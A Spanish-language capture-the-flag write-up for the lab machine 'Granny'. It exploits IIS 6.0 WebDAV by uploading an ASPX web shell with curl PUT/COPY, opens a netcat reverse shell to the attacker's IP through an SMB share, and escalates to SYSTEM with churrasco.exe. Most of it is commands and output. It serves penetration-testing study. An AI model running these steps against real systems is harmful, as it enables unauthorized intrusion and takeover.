Granny - Writeup

Granny - Writeup



Granny es una máquina Windows sencilla para aprender a explotar WebDavs. En cuánto a la escalada de privilegios, es más complicada que otras máquinas como Devel ya que necesitaremos algo más que JuicyPotato para abusar del privilegio SetImpersonatePrivilege.

Reconocimiento Link to Reconocimiento

Empezaremos escaneando los puertos abiertos de la máquina Devel cuya IP es 10.10.10.15 con nmap.

BASH
1
2
3
4
5
6
7
8
sudo nmap -p- --open -sS --min-rate 5000 -Pn -n -v 10.10.10.15 -oG allPorts

Initiating SYN Stealth Scan at 13:04
Scanning 10.10.10.15 [65535 ports]

Nmap scan report for 10.10.10.15
  PORT   STATE SERVICE
  80/tcp open  http

Ahora enumeramos los servicios que corren en estos puertos:

BASH
1
2
3
4
5
6
7
sudo nmap -sCV -p80 10.10.10.15 -Pn -oN targeted

Nmap scan report for 10.10.10.15
Host is up.

  PORT   STATE    SERVICE VERSION
  80/tcp filtered http

Como se puede observar, la máquina solo tiene el puerto 80 abierto con el servicio http.

Para poder ver las tecnologías que usa la web usaremos whatweb:

BASH
1
2
3
whatweb http://10.10.10.15

http://10.10.10.15 [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/6.0], IP[10.10.10.15], Microsoft-IIS[6.0][Under Construction], MicrosoftOfficeWebServer[5.0_Pub], UncommonHeaders[microsoftofficewebserver], X-Powered-By[ASP.NET]

La máquina corre un Microsoft-ISS 6.0. Si buscamos en internet podemos ver que es vulnerable. Este servicio posee un WebDav al cual podemos subir archivos. Si subimos un archivo .aspx podremos ejecutar código en el servidor y obtener una reverse shell.

Para poder ver que archivos podemos subir usaremos davtest:

BASH
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
davtest -url http://10.10.10.15

********************************************************
 Testing DAV connection
OPEN		SUCCEED:		http://10.10.10.15
********************************************************
 Sending test files
PUT	cgi	FAIL
PUT	pl	SUCCEED:	http://10.10.10.15/DavTestDir_vkjBEqIPKM/davtest_vkjBEqIPKM.pl
PUT	jsp	SUCCEED:	http://10.10.10.15/DavTestDir_vkjBEqIPKM/davtest_vkjBEqIPKM.jsp
PUT	html	SUCCEED:	http://10.10.10.15/DavTestDir_vkjBEqIPKM/davtest_vkjBEqIPKM.html
PUT	php	SUCCEED:	http://10.10.10.15/DavTestDir_vkjBEqIPKM/davtest_vkjBEqIPKM.php
PUT	aspx	FAIL
PUT	txt	SUCCEED:	http://10.10.10.15/DavTestDir_vkjBEqIPKM/davtest_vkjBEqIPKM.txt
PUT	jhtml	SUCCEED:	http://10.10.10.15/DavTestDir_vkjBEqIPKM/davtest_vkjBEqIPKM.jhtml
PUT	cfm	SUCCEED:	http://10.10.10.15/DavTestDir_vkjBEqIPKM/davtest_vkjBEqIPKM.cfm
PUT	asp	FAIL
PUT	shtml	FAIL
********************************************************

Según davtest no podemos subir archivos .aspx pero sí .txt, así que haremos la prueba con curl:

BASH
1
2
echo 'hola' > hola.txt
curl -X PUT http://10.10.10.15/hola.txt -d @hola.txt

Si visitamos http://10.10.10.15/hola.txt podremos ver el contenido.

Ahora podemos intentar cambiar la extensión del archivo a .aspx:

BASH
1
curl -X COPY -H "Destination: http://10.10.10.15/hola.aspx" http://10.10.10.15/hola.txt

Si accedemos ahora a http://10.10.10.15/hola.aspx podemos ver un error de interpretación. Por lo tanto es vulnerable.

Explotación Link to Explotación

Ahora haremos lo mismo pero con una web shell.

Si ejecutas locate .aspx | grep cmd podrás encontrar algunas web shells preinstaladas en tu Kali Linux o ParrotOS. En mi caso usaré aspx_cmd.aspx de el apartado de backdoors de davtest. Este mostrará un input para ejecutar comandos en la máquina víctima.

Una vez elegido el exploit, le cambiaremos la extensión a .txt y lo subiremos al servidor usando webdav. Por último lo renombramos:

BASH
1
2
3
4
5
6
7
8
# Lo renombramos
mv aspx_cmd.aspx cmd.txt

# Lo subimos al servidor
curl -X PUT http://10.10.10.15/cmd.txt -d @cmd.txt

# Le cambiamos la extensión en el servidor
curl -X COPY -H "Destination: http://10.10.10.15/cmd.aspx" http://10.10.10.15/cmd.txt

Si accedemos a http://10.10.10.15/cmd.aspx podemos ver una web shell.

Ahora compartiremos el recurso nc.exe en un servidor smb para entablar una reverse shell para mayor comodidad:

BASH
1
2
3
4
5
6
7
8
9
10
sudo impacket-smbserver smbFolder $(pwd) -smb2support

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Para encontrar el recurso nc.exe de tu Kali Linux o ParrosOS usa: locate nc.exe


Y nos pondremos en escucha por un puerto para recibir la reverse shell:

BASH
1
sudo rlwrap nc -nlvp 443

En http://10.10.10.15/cmd.aspx y ponemos el comando que usará este servidor de smb para usar el nc.exe:

BASH
1
cmd /c \\<ip atacante>\smbFolder\nc.exe -e cmd <ip atacante> 443

web shell


Ahora estarás dentro de la máquina Windows en la consola donde te pusiste en escucha con el puerto 443.

Escalada de privilegios Link to Escalada de privilegios

Si vemos nuestros privilegios con whoami /priv veremos que tenemos SetImpersonatePrivilege. Esto quiere decir que parece ser vulnerable a JuicyPotato. Sin embargo, si ejecutamos systeminfo veremos que es una versión muy antigua de Windows.

En estos casos debemos de hacer uso de otra herramienta que explota este mismo privilegio pero en este tipo de Windows llamada churrasco. Se puede descargar desde este link.

Ahora hay que transferir nc.exe y churrasco.exe a la máquina víctima. Para ellos nos movemos a c:\windows\temp\privesc para que no haya problemas de permisos.

Transferimos los archivos por nuestro servidor de smb:

CMD
1
2
3
4
5
6
7
c:\WINDOWS\Temp\privesc>copy \\<ip atacante>\smbFolder\churrasco.exe churrasco.exe
copy \\<ip atacante>\smbFolder\churrasco.exe churrasco.exe
        1 file(s) copied.

c:\WINDOWS\Temp\privesc>copy \\<ip atacante>\smbFolder\nc.exe nc.exe
copy \\<ip atacante>\smbFolder\nc.exe nc.exe
        1 file(s) copied.

Una vez con los ejecutables en la máquina víctima, nos ponemos en escucha en la máquina atacante para entablar otra reverse shell (en mi caso usaré el puerto 4321):

BASH
1
sudo rlwrap nc -nlvp 4321

Y ahora usamos churrasco.exe en la máquina víctima:

CMD
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
churrasco.exe -d "c:\windows\temp\privesc\nc.exe -e cmd <ip atacante> 4321"

/churrasco/-->Current User: NETWORK SERVICE 
/churrasco/-->Getting Rpcss PID ...
/churrasco/-->Found Rpcss PID: 668 
/churrasco/-->Searching for Rpcss threads ...
/churrasco/-->Found Thread: 212 
/churrasco/-->Thread not impersonating, looking for another thread...
/churrasco/-->Found Thread: 672 
/churrasco/-->Thread not impersonating, looking for another thread...
/churrasco/-->Found Thread: 676 
/churrasco/-->Thread not impersonating, looking for another thread...
/churrasco/-->Found Thread: 684 
/churrasco/-->Thread impersonating, got NETWORK SERVICE Token: 0x718
/churrasco/-->Getting SYSTEM token from Rpcss Service...
/churrasco/-->Found SYSTEM token 0x710
/churrasco/-->Running command with SYSTEM Token...
/churrasco/-->Done, command should have ran as SYSTEM!

Habiendo hecho esto, seremos NT AUTHORITY\SYSTEM y podemos obtener la flag de user.txt:

CMD
1
2
3
4
5
6
7
8
9
10
11
>C:\Documents and Settings\Lakis\Desktop>dir
dir
 Directory of C:\Documents and Settings\Lakis\Desktop

04/12/2017  09:19 PM    <DIR>          .
04/12/2017  09:19 PM    <DIR>          ..
04/12/2017  09:20 PM                32 user.txt

C:\Documents and Settings\Lakis\Desktop>type user.txt
type user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Y la flag de root.txt:

CMD
1
2
3
C:\Documents and Settings\Administrator\Desktop>type root.txt
type root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Con esto concluye la máquina Granny. Si quieres más writeups de máquinas para la OSCP accede aquí: máquinas para la OSCP.